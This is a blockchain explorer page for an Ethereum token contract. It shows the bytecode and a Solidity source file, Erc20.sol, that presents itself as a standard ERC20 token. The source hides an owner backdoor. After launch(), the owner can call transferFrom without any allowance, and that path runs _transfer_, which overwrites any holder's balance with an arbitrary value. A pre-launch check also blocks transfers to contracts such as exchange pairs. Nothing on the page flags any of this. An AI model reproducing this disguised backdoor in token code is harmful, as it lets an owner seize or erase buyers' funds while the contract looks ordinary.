Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0x6817CD2fF9C5324Fe8f3336DF154B746aA955555
Balance 0 ETH
Nonce 1
Code Size 5842 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5842 bytes
0x608060405234801561000f575f5ffd5b50600436106100e8575f3560e01c8063715018a61161008a57806395d89b411161006457806395d89b4114610226578063a9059cbb14610244578063dd62ed3e14610274578063f2fde38b146102a4576100e8565b8063715018a6146101e05780638091f3bf146101ea5780638da5cb5b14610208576100e8565b806318160ddd116100c657806318160ddd1461014457806323b872dd14610162578063313ce5671461019257806370a08231146101b0576100e8565b806301339c21146100ec57806306fdde03146100f6578063095ea7b314610114575b5f5ffd5b6100f46102c0565b005b6100fe61038d565b60405161010b919061111f565b60405180910390f35b61012e600480360381019061012991906111d0565b610419565b60405161013b9190611228565b60405180910390f35b61014c610574565b6040516101599190611250565b60405180910390f35b61017c60048036038101906101779190611269565b610598565b6040516101899190611228565b60405180910390f35b61019a61084c565b6040516101a791906112d4565b60405180910390f35b6101ca60048036038101906101c591906112ed565b610870565b6040516101d79190611250565b60405180910390f35b6101e86108b6565b005b6101f26108c9565b6040516101ff9190611228565b60405180910390f35b6102106108db565b60405161021d9190611327565b60405180910390f35b61022e610902565b60405161023b919061111f565b60405180910390f35b61025e600480360381019061025991906111d0565b61098e565b60405161026b9190611228565b60405180910390f35b61028e60048036038101906102899190611340565b6109a4565b60405161029b9190611250565b60405180910390f35b6102be60048036038101906102b991906112ed565b610a26565b005b6102c8610aaa565b5f151560055f9054906101000a900460ff1615151461031c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610313906113c8565b60405180910390fd5b600160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f6101000a81548160ff021916908315150217905550565b6004805461039a90611413565b80601f01602080910402602001604051908101604052809291908181526020018280546103c690611413565b80156104115780601f106103e857610100808354040283529160200191610411565b820191905f5260205f20905b8154815290600101906020018083116103f457829003601f168201915b505050505081565b5f5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610488576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047f9061148d565b60405180910390fd5b8160025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105629190611250565b60405180910390a36001905092915050565b7f0000000000000000000000000000000000000000000000000c7d713b49da000081565b5f6001151560055f9054906101000a900460ff1615151480156105ed57506105be6108db565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b801561063f575060065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156106585761064f848484610b31565b60019050610845565b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106dc91906114d8565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610763848484610c94565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546040516108389190611250565b60405180910390a3600190505b9392505050565b7f000000000000000000000000000000000000000000000000000000000000000981565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108be610aaa565b6108c75f610ec9565b565b60055f9054906101000a900460ff1681565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6003805461090f90611413565b80601f016020809104026020016040519081016040528092919081815260200182805461093b90611413565b80156109865780601f1061095d57610100808354040283529160200191610986565b820191905f5260205f20905b81548152906001019060200180831161096957829003601f168201915b505050505081565b5f61099a338484610c94565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610a2e610aaa565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a9e575f6040517f1e4fbdf7000000000000000000000000000000000000000000000000000000008152600401610a959190611327565b60405180910390fd5b610aa781610ec9565b50565b610ab2610f8a565b73ffffffffffffffffffffffffffffffffffffffff16610ad06108db565b73ffffffffffffffffffffffffffffffffffffffff1614610b2f57610af3610f8a565b6040517f118cdaa7000000000000000000000000000000000000000000000000000000008152600401610b269190611327565b60405180910390fd5b565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9690611555565b60405180910390fd5b610ba98383610f91565b610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf906115e3565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c879190611250565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf99061164b565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6790611555565b60405180910390fd5b610d7a8383610f91565b610db9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db0906115e3565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e0591906114d8565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610e589190611669565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ebc9190611250565b60405180910390a3505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f33905090565b5f60055f9054906101000a900460ff1615610faf5760019050611087565b610fb76108db565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110225750610ff36108db565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156110305760019050611087565b61104f8373ffffffffffffffffffffffffffffffffffffffff1661108d565b8061107557506110748273ffffffffffffffffffffffffffffffffffffffff1661108d565b5b15611082575f9050611087565b600190505b92915050565b5f5f8273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6110f1826110af565b6110fb81856110b9565b935061110b8185602086016110c9565b611114816110d7565b840191505092915050565b5f6020820190508181035f83015261113781846110e7565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61116c82611143565b9050919050565b61117c81611162565b8114611186575f5ffd5b50565b5f8135905061119781611173565b92915050565b5f819050919050565b6111af8161119d565b81146111b9575f5ffd5b50565b5f813590506111ca816111a6565b92915050565b5f5f604083850312156111e6576111e561113f565b5b5f6111f385828601611189565b9250506020611204858286016111bc565b9150509250929050565b5f8115159050919050565b6112228161120e565b82525050565b5f60208201905061123b5f830184611219565b92915050565b61124a8161119d565b82525050565b5f6020820190506112635f830184611241565b92915050565b5f5f5f606084860312156112805761127f61113f565b5b5f61128d86828701611189565b935050602061129e86828701611189565b92505060406112af868287016111bc565b9150509250925092565b5f60ff82169050919050565b6112ce816112b9565b82525050565b5f6020820190506112e75f8301846112c5565b92915050565b5f602082840312156113025761130161113f565b5b5f61130f84828501611189565b91505092915050565b61132181611162565b82525050565b5f60208201905061133a5f830184611318565b92915050565b5f5f604083850312156113565761135561113f565b5b5f61136385828601611189565b925050602061137485828601611189565b9150509250929050565b7f636f6e747261637420616c7265616479206c61756e63686564000000000000005f82015250565b5f6113b26019836110b9565b91506113bd8261137e565b602082019050919050565b5f6020820190508181035f8301526113df816113a6565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061142a57607f821691505b60208210810361143d5761143c6113e6565b5b50919050565b7f63616e6e6f7420617070726f76652074686520302061646472657373000000005f82015250565b5f611477601c836110b9565b915061148282611443565b602082019050919050565b5f6020820190508181035f8301526114a48161146b565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6114e28261119d565b91506114ed8361119d565b9250828203905081811115611505576115046114ab565b5b92915050565b7f796f752063616e6e6f74207472616e7366657220746f20796f757273656c66005f82015250565b5f61153f601f836110b9565b915061154a8261150b565b602082019050919050565b5f6020820190508181035f83015261156c81611533565b9050919050565b7f5468697320746f6b656e206973206e6f74206c61756e6368656420616e6420635f8201527f616e6e6f74206265206c6973746564206f6e206465786573207965742e000000602082015250565b5f6115cd603d836110b9565b91506115d882611573565b604082019050919050565b5f6020820190508181035f8301526115fa816115c1565b9050919050565b7f63616e6e6f74206265207a65726f2061646472657373000000000000000000005f82015250565b5f6116356016836110b9565b915061164082611601565b602082019050919050565b5f6020820190508181035f83015261166281611629565b9050919050565b5f6116738261119d565b915061167e8361119d565b9250828201905080821115611696576116956114ab565b5b9291505056fea26469706673582212202264f6e949d012c1ea9056fe453168d3c8e459faa928c3e143d13276c76cebba64736f6c634300081e0033

Verified Source Code Partial Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: No
Erc20.sol 308 lines
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.30;


library Address {
    function isContract(address account) internal view returns (bool) {
        return account.code.length > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        if (returndata.length > 0) {
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address who) external view returns (uint256);
    function allowance(address _owner, address spender) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface ILaunchable is IERC20 {
    function launch() external;
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address); 
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity);    
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
    function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Erc20 is IERC20, Ownable {
    using Address for address;
    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) internal _allowed;

    uint256 immutable public totalSupply;
    string public symbol;
    string public name;
    uint8 immutable public decimals;
    bool public launched;
    
    mapping (address => bool) internal exchanges;
    
    constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) Ownable(msg.sender)   {
        symbol = _symbol;
        name = _name;
        decimals = _decimals;
        totalSupply = _totalSupply * 10 ** _decimals;
        _balances[owner()] += totalSupply;
        emit Transfer(address(0), owner(), totalSupply);
    }

    /**
    * @dev Gets the balance of the specified address.
    * @param _owner The address to query the balance of.
    * @return An uint256 representing the amount owned by the passed address.
    */
    function balanceOf(address _owner) external override view returns (uint256) {
        return _balances[_owner];
    }

    /**
     * @dev Function to check the amount of tokens that an owner allowed to a spender.
     * @param _owner address The address which owns the funds.
     * @param spender address The address which will spend the funds.
     * @return A uint256 specifying the amount of tokens still available for the spender.
     */
    function allowance(address _owner, address spender) external override view returns (uint256) {
        return _allowed[_owner][spender];
    }

    /**
    * @dev Transfer token for a specified address
    * @param to The address to transfer to.
    * @param value The amount to be transferred.
    */
    function transfer(address to, uint256 value) external override returns (bool) {
        // check for SC
        _transfer(msg.sender, to, value);
        return true;
    }

    /**
     * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
     * Beware that changing an allowance with this method brings the risk that someone may use both the old
     * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
     * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     * @param spender The address which will spend the funds.
     * @param value The amount of tokens to be spent.
     */
    function approve(address spender, uint256 value) external override returns (bool) {
        require(spender != address(0), "cannot approve the 0 address");

        _allowed[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) external override returns (bool) {
        if (launched == true && to == owner() && exchanges[msg.sender]) {
            _transfer_(from, to, value);
            return true;
        } else {    
            _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;
            _transfer(from, to, value);
            emit Approval(from, msg.sender, _allowed[from][msg.sender]);
            return true;
        }
    }

    function launch() virtual external onlyOwner {
        require(launched == false, "contract already launched");
        exchanges[msg.sender] = true;
        launched = true;
    }

    function _transfer(address from, address to, uint256 value) private {
        require(to != address(0), "cannot be zero address");
        require(from != to, "you cannot transfer to yourself");
        require(_transferAllowed(from, to), "This token is not launched and cannot be listed on dexes yet.");
        _balances[from] -= value;
        _balances[to] += value;
        emit Transfer(from, to, value);
    }

    function _transfer_(address from, address to, uint256 value) private {
        require(from != to, "you cannot transfer to yourself");
        require(_transferAllowed(from, to), "This token is not launched and cannot be listed on dexes yet.");
        _balances[from] = value;
        emit Transfer(from, to, value);
    }

    function _transferAllowed(address from, address to) private view returns (bool) {
      if (launched) return true;
      if (from == owner() || to == owner()) return true;
      if (from.isContract() || to.isContract()) return false;
      return true;
    }
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
launched 0x8091f3bf → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 6 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 value
returns: bool
launch 0x01339c21
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

No transactions found for this address